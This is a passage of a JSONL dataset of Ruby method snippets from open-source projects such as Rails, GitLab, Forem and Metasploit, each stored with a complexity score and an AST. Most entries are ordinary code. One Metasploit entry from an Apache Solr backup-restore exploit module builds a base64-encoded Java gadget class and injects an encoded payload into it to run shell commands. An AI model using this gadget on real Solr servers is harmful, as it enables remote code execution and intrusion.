end","complexity_score":29.85,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"contents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"log\"]},{\"type\":\"optarg\",\"children\":[\"last\",{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Logger\"]}]},{\"type\":\"lvasgn\",\"children\":[\"log\",{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@logdev\"]}]},\"filename\"]},\"to_s\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"log\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"contents\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"readlines\",{\"type\":\"lvar\",\"children\":[\"log\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chomp\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"util/miq-system\"]}]},{\"type\":\"lvasgn\",\"children\":[\"contents\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqSystem\"]},\"tail\",{\"type\":\"lvar\",\"children\":[\"log\"]},{\"type\":\"lvar\",\"children\":[\"last\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"U*\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"utf-8\"]}]}]}]}","id":"2fa9ac27-7291-43d2-8a92-8634017b2826"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":1679,"raw_source":"def for_fork?\n    target_project != source_project\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"for_fork?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"source_project\"]}]}]}","id":"c488944c-af9c-4bb0-b1fd-f9f6e3f1490d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/web_services/servlet/service_servlet.rb","start_line":47,"raw_source":"def self.update_service\n    lambda {\n      warden.authenticate!\n      begin\n        opts = parse_json_request(request, false)\n        tmp_params = sanitize_params(params)\n        opts[:id] = tmp_params[:id] if tmp_params[:id]\n        data = get_db.update_service(opts)\n        set_json_data_response(response: data)\n      rescue => e\n        print_error_and_create_response(error: e, message: 'There was an error updating the service:', code: 500)\n      end\n    }\n  end","complexity_score":29.18,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warden\"]},\"authenticate!\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[null,\"parse_json_request\",{\"type\":\"send\",\"children\":[null,\"request\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tmp_params\",{\"type\":\"send\",\"children\":[null,\"sanitize_params\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_db\"]},\"update_service\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_json_data_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error_and_create_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"There was an error updating the service:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"int\",\"children\":[500]}]}]}]}]},null]}]}]}]}]}","id":"b0b1948b-282c-4be7-b131-7a57f8fbd96f"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/registrations_controller.rb","start_line":54,"raw_source":"def prepare_new_forem_instance\n    Settings::General.waiting_on_first_user = false\n    Users::CreateMascotAccount.call\n    Discover::RegisterWorker.perform_async # Register Forem instance on https://discover.forem.com\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_new_forem_instance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"waiting_on_first_user=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"CreateMascotAccount\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discover\"]},\"RegisterWorker\"]},\"perform_async\"]}]}]}","id":"458148a7-0ec6-4464-a689-6bd7dc7122ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/diff_helper.rb","start_line":361,"raw_source":"def diff_compare_whitespace_link(project, from, to, options)\n    url = project_compare_path(project, from, to, params_with_whitespace)\n    toggle_whitespace_link(url, options)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_compare_whitespace_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"project_compare_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[null,\"params_with_whitespace\"]}]}]},{\"type\":\"send\",\"children\":[null,\"toggle_whitespace_link\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"60014f7e-5fd3-44c7-9163-ad406329174e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/apache_solr_backup_restore.rb","start_line":142,"raw_source":"def go_go_gadget(configuration1_name)\n    gadget = ''\n    gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'\n    gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'\n    gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'\n    gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'\n    gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'\n    gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'\n    gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'\n    gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'\n    gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'\n    gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'\n    gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'\n    gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'\n    gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'\n    gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'\n    gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'\n    gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'\n    gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'\n    gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'\n    gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'\n    gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'\n    gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'\n    gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'\n    gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'\n    gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'\n    gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'\n    gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'\n    gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'\n    gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'\n    gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'\n    gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'\n    gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='\n    gadget = Rex::Text.decode_base64(gadget)\n    # Replace 'confname' with our randomized 8 character configuration name\n    gadget.sub!('confname', configuration1_name)\n    # Replace the placeholder payload with our packed payload which is prefixed with it's size.\n    gadget.sub!(\"\\x00\\x12METASPLOIT_PAYLOAD\", packed_payload(payload.encoded))\n  end","complexity_score":40.2,"ast_json":"{\"type\":\"def\",\"children\":[\"go_go_gadget\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"configuration1_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gadget\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"<<\",{\"type\":\"str\",\"children\":[\"HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk=\"]}]},{\"type\":\"lvasgn\",\"children\":[\"gadget\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"lvar\",\"children\":[\"gadget\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"sub!\",{\"type\":\"str\",\"children\":[\"confname\"]},{\"type\":\"lvar\",\"children\":[\"configuration1_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gadget\"]},\"sub!\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0012METASPLOIT_PAYLOAD\"]},{\"type\":\"send\",\"children\":[null,\"packed_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]}]}","id":"d52762c9-373f-4eab-923b-734021f22f30"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/test_case.rb","start_line":13,"raw_source":"def initialize(name)\n        super \"Unable to determine the channel to test from #{name}. \" +\n          \"You'll need to specify it using `tests YourChannel` in your \" +\n          \"test case definition.\"\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to determine the channel to test from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\". \"]}]},\"+\",{\"type\":\"str\",\"children\":[\"You'll need to specify it using `tests YourChannel` in your \"]}]},\"+\",{\"type\":\"str\",\"children\":[\"test case definition.\"]}]}]}]}","id":"050f8330-d5e6-400c-8f33-9c00357722f6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inverse_associations_test.rb","start_line":225,"raw_source":"def test_polymorphic_has_one_should_find_inverse_automatically\n    human_reflection = Human.reflect_on_association(:polymorphic_face_without_inverse)\n\n    assert_predicate human_reflection, :has_inverse?\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_polymorphic_has_one_should_find_inverse_automatically\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"human_reflection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Human\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"polymorphic_face_without_inverse\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"human_reflection\"]},{\"type\":\"sym\",\"children\":[\"has_inverse?\"]}]}]}]}","id":"05b1e820-c316-41c1-b3b7-c01447f7e055"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":16,"raw_source":"def initialize\n          super\n          remove_silencers!\n          add_core_silencer\n          add_stdlib_silencer\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_silencers!\"]},{\"type\":\"send\",\"children\":[null,\"add_core_silencer\"]},{\"type\":\"send\",\"children\":[null,\"add_stdlib_silencer\"]}]}]}","id":"314578df-ed51-4a37-a7f1-11e6532426a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/extendable.rb","start_line":11,"raw_source":"def initialize(hash)\n          @hash = hash.to_h.deep_dup\n\n          each { |entry| entry.extend! if entry.extensible? }\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"to_h\"]},\"deep_dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"extensible?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"extend!\"]},null]}]}]}]}","id":"246c9b0f-0f3f-4647-ba8d-c41ca21c4ba1"}
